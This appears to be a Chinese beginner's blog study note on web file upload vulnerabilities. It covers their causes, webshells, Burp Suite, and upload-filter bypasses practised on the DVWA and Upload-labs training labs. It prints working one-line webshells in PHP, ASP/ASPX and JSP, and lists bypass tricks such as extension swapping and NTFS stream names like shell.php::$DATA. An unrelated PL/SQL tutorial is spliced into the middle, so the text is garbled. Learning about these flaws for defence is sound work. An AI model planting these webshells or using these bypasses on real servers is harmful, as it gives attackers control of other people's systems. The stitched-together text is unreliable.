web安全入门功法通关秘籍第四天打卡

本文深入探讨文件上传漏洞的成因及危害,包括检查不严、文件名修改不当和第三方插件漏洞等问题,揭示如何利用这些漏洞上传恶意文件,以及常见的防御绕过技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

web安全之文件上传漏洞

在把文件上传到web服务器时,如果没有对文件进行检查限制,就有可能导致木马进入web服务器,造成控制破坏。

** 原因**
(1)文件上传时检查不严
比如应用在文件上传时根本没有进行文件格式检查,导致攻击者可以直接上传恶意文件。
或应用仅仅在客户端进行了检查,而在专业的攻击者眼里几乎所有的客户端检查都等于没有检查,攻击者可以通过NC,Fiddler等断点上传工具轻松绕过客户端的检查。

(2)文件上传后修改文件名时处理不当
一些应用在服务器端进行了完整的黑名单和白名单过滤,在修改已上传文件文件名时却百密一疏,允许用户修改文件后缀。
如应用只能上传.doc文件时攻击者可以先将.php文件后缀修改为.doc,成功上传后在修改文件名时将后缀改回.php。

(3)使用第三方插件引用时
好多应用都引用了带有文件上传功能的第三方插件,这些插件的文件上传功能实现上可能有漏洞,攻击者可通过这些漏洞进行文件上传攻击。
如著名的博客平台WordPress就有丰富的插件,而这些插件中每年都会被挖掘出大量的文件上传漏洞
执行
web脚本语言被服务器解释执行时
Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为
上传病毒木马文件诱骗他人下载
一些带脚本的图片在某些浏览器将被作为脚本执行
上传WebShell来控制服务器

出现位置在这里插入图片描述
在这里插入图片描述
webshell

webshell就是一种可以在web服务器上执行的后台脚本或者命令执行环境。

webshell一方面能帮助站长管理网站和服务器另一方面也被用作网站入侵的脚本攻击工具。在这里插入图片描述

Burp Suite

Burp Suite是一个集成化的渗透测试工具
下载安装可以参考[大佬的博客https://blog.youkuaiyun.com/LUOBIKUN/article/details/87457545?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase)

bp的原理:在这里插入图片描述

简单了解HTTP头
1、Host(请求的web服务器域名地址) — — 你找的是谁?Host: www.sina.com.cn
2、User-Agent (客户端运行的浏览器类型的详细信息)— — 你用的什么浏览器?
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:73.0) Gecko/20100101
Firefox/73.0
3、Accept (浏览器可接受的数据类型)— — 你能看得懂啥?
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
4、Referer(用户从该URL代表的页面出发访问当前请求的页面) — — 你从哪来?

网站管理软件
[中国菜刀

中国蚁剑
两款常用的网络管理软件

木马
php一句话木马

<?php eval ($_POST[cmd]);?> <?php assert($_POST[cmd]);?>

大马:指木马病毒;php大马,就是php写的提取站点权限的程序;带有提权或者修改站点功能。

asp&&aspx一句话木马
<%eval request(“caidao”)%>
<%@ Page Language=“Jscript”%><%eval(Request.Item[“caidao”],"unsa

JSP一句话木马
<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>
保存为1.jsp
提交url为 http://localhost/1.jsp?f=1.txt&;t=hello
访问http://localhost/1.txt 出来hello

常见绕过方式

没有对上传的文件做任何的过滤又叫任意文件上传。
例如:
DVWA-Low
前端过滤等同于没有过滤,前端对黑客来说等同虚设。
例如:
Upload-labs-01
方法一:
F12 点击设置,点击禁止JavaScript执行。上传一个php文件

方法二:
把 1.php后缀名改成 1.jpg,然后上传同时burp抓包,burp中修改后缀名为php发包即可。burp中修改后缀名,然后发送。

文件类型校验就是指HTTP头中的 Content-Type,在服务端进行校验。
Content-Type:也叫互联网媒体类型(Internet Media Type)或者 MIME 类型,在 HTTP 协议消息头中,它用来表示具体请求中的媒体类型信息。
根据文件后缀名来判断文件是否允许上传,程序会把不允许上传的文件列到一个小本本里,
一旦发现上传的文件在小本本中就马上制止。

先上传正常文件,试验能否正常上传
再上传需要上传的内容,使用不同后缀名尝试 黑白名单在这里插入图片描述
在这里插入图片描述
Windows特性:
(1)上传 shell.php(%80-99)
(2)NTFS ADS特性
①、上传 shell.php::$DATA
②、上传 test.jpg…
③、上传 1.php<> 之类的后缀名,和 ② 类似。
④、上传 1.php:.jpg
1.php:.jpg 这类文件在上传后,在Windows中会被保存为一个 空的 1.php 文件,然后可
以再上传一个 1.php<> 或者 1.php<< 或者 其他Windows不允许的后缀,就会覆盖 前边那个空的1.php

### PL/SQL 的基本使用方法 PL/SQL 是一种强大的过程化语言,主要用于开发 Oracle 数据库中的存储过程、函数、触发器和包。以下是关于 PL/SQL 基本使用方法的一些重要知识点: #### 1. **PL/SQL 结构** PL/SQL 程序通常由三个部分组成:声明部分(可选)、执行部分(必选)和异常处理部分(可选)。 ```sql DECLARE -- 变量声明区域 BEGIN -- 执行逻辑区域 EXCEPTION -- 异常处理区域 END; ``` 这种结构使得开发者可以清晰地定义变量、编写逻辑并捕获可能发生的错误。 #### 2. **变量与数据类型** PL/SQL 支持多种内置的数据类型,例如 `NUMBER`、`VARCHAR2` 和 `DATE` 等。还可以通过 `%TYPE` 或 `%ROWTYPE` 来引用表列的类型[^2]。 示例代码: ```plsql DECLARE v_employee_id employees.employee_id%TYPE; -- 定义与表字段相同类型的变量 v_salary NUMBER(8, 2); -- 数字型变量 BEGIN SELECT employee_id, salary INTO v_employee_id, v_salary FROM employees WHERE rownum = 1; DBMS_OUTPUT.PUT_LINE('Employee ID: ' || v_employee_id || ', Salary: ' || v_salary); END; ``` #### 3. **控制结构** PL/SQL 提供了丰富的控制结构来实现条件判断和循环操作。常用的有 `IF...THEN...ELSE` 和 `LOOP` 系列语句。 ##### IF 判断 ```plsql DECLARE v_grade CHAR(1) := 'A'; BEGIN IF v_grade = 'A' THEN DBMS_OUTPUT.PUT_LINE('Excellent'); ELSIF v_grade = 'B' THEN DBMS_OUTPUT.PUT_LINE('Good'); ELSE DBMS_OUTPUT.PUT_LINE('Unknown Grade'); END IF; END; ``` ##### 循环 ```plsql DECLARE i INT := 1; BEGIN LOOP EXIT WHEN i > 5; -- 当满足退出条件时跳出循环 DBMS_OUTPUT.PUT_LINE('Iteration: ' || i); i := i + 1; END LOOP; END; ``` --- ### PL/SQL 编程技巧 为了提高 PL/SQL 开发效率和性能,以下是一些常见的编程技巧: #### 1. **批量处理** 利用游标或集合操作减少单条记录的操作次数,提升性能。例如,可以通过 `FORALL` 实现批量化 DML 操作。 ```plsql DECLARE TYPE emp_ids_t IS TABLE OF employees.employee_id%TYPE INDEX BY PLS_INTEGER; emp_ids emp_ids_t; BEGIN SELECT employee_id BULK COLLECT INTO emp_ids FROM employees WHERE department_id = 10; FORALL i IN INDICES OF emp_ids UPDATE employees SET salary = salary * 1.1 WHERE employee_id = emp_ids(i); COMMIT; END; ``` #### 2. **索引表与嵌套表** 合理使用索引表(Index-by Table)或嵌套表(Nested Table),可以在内存中缓存大量数据以加速计算。 ```plsql DECLARE TYPE nested_table_type IS TABLE OF VARCHAR2(100); my_nested_table nested_table_type := nested_table_type(); BEGIN my_nested_table.EXTEND(3); my_nested_table(1) := 'Value1'; my_nested_table(2) := 'Value2'; my_nested_table(3) := 'Value3'; FOR i IN 1..my_nested_table.COUNT LOOP DBMS_OUTPUT.PUT_LINE(my_nested_table(i)); END LOOP; END; ``` #### 3. **异常处理** 良好的异常处理机制可以帮助程序更好地应对意外情况。建议为常见错误设置自定义消息。 ```plsql BEGIN INSERT INTO non_existent_table VALUES (1); EXCEPTION WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE('Error Code: ' || SQLCODE || ', Error Message: ' || SQLERRM); END; ``` #### 4. **优化查询** 尽量避免在循环内部多次调用数据库操作,而是采用绑定变量或子查询的方式一次性完成任务。这有助于降低上下文切换开销。 --- ### 示例:创建一个简单的存储过程 下面是一个完整的存储过程示例,展示了如何封装业务逻辑以便重复使用。 ```plsql CREATE OR REPLACE PROCEDURE update_employee_salary ( p_department_id IN employees.department_id%TYPE, p_percentage_increase IN NUMBER DEFAULT 10 ) AS BEGIN UPDATE employees SET salary = salary * (1 + p_percentage_increase / 100) WHERE department_id = p_department_id; COMMIT; END; / ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值